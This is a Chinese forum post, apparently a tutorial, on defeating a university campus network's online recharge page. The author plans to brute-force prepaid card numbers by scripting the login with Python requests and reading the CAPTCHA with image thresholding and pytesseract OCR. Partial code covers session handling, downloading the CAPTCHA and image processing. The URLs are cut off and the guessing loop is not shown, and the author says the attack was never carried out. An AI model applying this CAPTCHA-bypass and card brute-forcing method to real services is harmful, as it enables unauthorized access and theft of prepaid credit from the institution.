本帖最后由 laoxiaodiao 于 2019-9-6 13:21 编辑
校园网一直是坑爹一般的存在,别人都用上5G了,而我们学校却还停留在10块钱3个G的时代,也许你会说,用手机的流量就行了呀,但是学校有些资源还必须得要内网才能访问呀。然而我们知道,校园网的安全性根本就比不了那些公司,有很多大佬一直也在学校的学校的内网中遨游,我等只能膜拜,今天我们就一起来看看我是怎么变相破解校园网的。为什么说是变相呢,因为本文采用的方法没有你想的那么高大上,额。。。。。。,就是没有你想象的那么牛逼,原理其实很简单,就是学校开通了网上充值的通道,但是,这个通道必须的得要登录,而且还要验证码,所以本文也就基于python来模拟登陆且识别验证码,实现一个暴力破解充值卡的功能。声明:仅做学习交流之用,我也没有真的去暴力破解充值卡,我怂,不敢动学校的东西。
思路整理:
1:request模拟登陆系统
2:进入充值界面
3:获取充值界面的验证码,并识别验证码
4:将卡号和验证码发送给服务器,获取结果
1:request模拟登陆系统

主页面.png (764.66 KB, 下载次数: 2)
下载附件
2019-9-6 13:17 上传

主页面有验证码.png (780.4 KB, 下载次数: 0)
下载附件
2019-9-6 13:17 上传

登录请求数据.png (75.26 KB, 下载次数: 1)
下载附件
2019-9-6 13:17 上传

登录的请求.png (497.26 KB, 下载次数: 0)
下载附件
2019-9-6 13:17 上传

个人信息页.png (382.97 KB, 下载次数: 0)
下载附件
2019-9-6 13:17 上传
from PIL import Image #用于处理验证码图片的库
import requests
import pytesseract #用于识别验证码的库
import re
from bs4 import BeautifulSoup #用于页面的信息提取
zh=input('请输入校园网账号:')
mm=input('请输入校园网密码:')
cardid=input('输入你要查询的充值卡号:')
session=requests.session()#用这个能够保存服务器返回的setcookie字段,就可以不用在下次的请求头中自己构造cookie了,还挺方便
def get_PHPSESSID():#获取会话id
head={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9,en;q=0.8',
'Connection':'keep-alive',
'Host':'...',
'Referer':'?sourceurl=http://www.msftconnecttest.com/redirect',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}
cookie=session.get(url=')
print(session.cookies)
2、3:进入充值界面并获取充值界面的验证码,并识别验证码
充值界面如下:

在线充值.png (362.83 KB, 下载次数: 0)
下载附件
2019-9-6 13:17 上传
想要获取充值或查询,那么我们得要获得验证码,然后将验证码的数字和充值卡号发送给服务器,那么验证码如何获取?看下面

获得验证码.png (25.73 KB, 下载次数: 1)
下载附件
2019-9-6 13:17 上传
发送这个请求,获得图片,保存在本地,然后将图片灰度化(就是变成黑白),提高识别率,返回识别结果,我们还是老看程序,边看边说

yzm.png (37.47 KB, 下载次数: 1)
下载附件
2019-9-6 13:16 上传
def get_img():#获取验证码保存到本地
head={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh - CN, zh;q = 0.9, en;q = 0.8',
'Connection':'keep - alive',
'Host':'...',
'Referer':'.../zili/myinfo.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}#请求头
session.get(url='
head1={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh - CN, zh;q = 0.9, en;q = 0.8',
'Connection':'keep - alive',
'Host':'...',
'Referer':'',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}
result=session.get(url='
image = result.content#result.content代表返回的数据,赋值给image变量
with open(r'img/yzm.jpg', 'wb') as xiazai:#打开img文件夹下的yzm.jpg图片文件,wb代表以‘’二进制写”的方式打开,如果没有这个文件,会帮你建立这个文件,并将这个骚操作以xiazai来表示
xiazai.write(image)#将image里的数据写进xiazai操作打开的yzm.jpg文件中
def prc_pic():#处理下载的验证码
yzm=Image.open(r'img\yzm.jpg')#用image库里的Image打开yzm.jpg图片
yzm_l=yzm.convert('L')#将图片灰度化
yzm_l.save(r'img\jzm.jpg')#将生成的灰度图保存为jzm.jpg
yuzhi=150#定义一个阈值,大于这个值为黑色,小于这个值为白色
table = []#用来保存值的数组
for i in range(256):
if i < yuzhi:
table.append(0)
else:
table.append(1)
out = yzm_l.point(table, '1')
out.save(r'img\yzm1.jpg')

huidu.png (35.12 KB, 下载次数: 0)
下载附件
2019-9-6 13:16 上传

heibai.png (34.19 KB, 下载次数: 1)
下载附件
2019-9-6 13:16 上传

jieguo.png (12.58 KB, 下载次数: 1)
下载附件
2019-9-6 13:16 上传

查询.png (370.24 KB, 下载次数: 1)
下载附件
2019-9-6 13:17 上传



















查看全部评分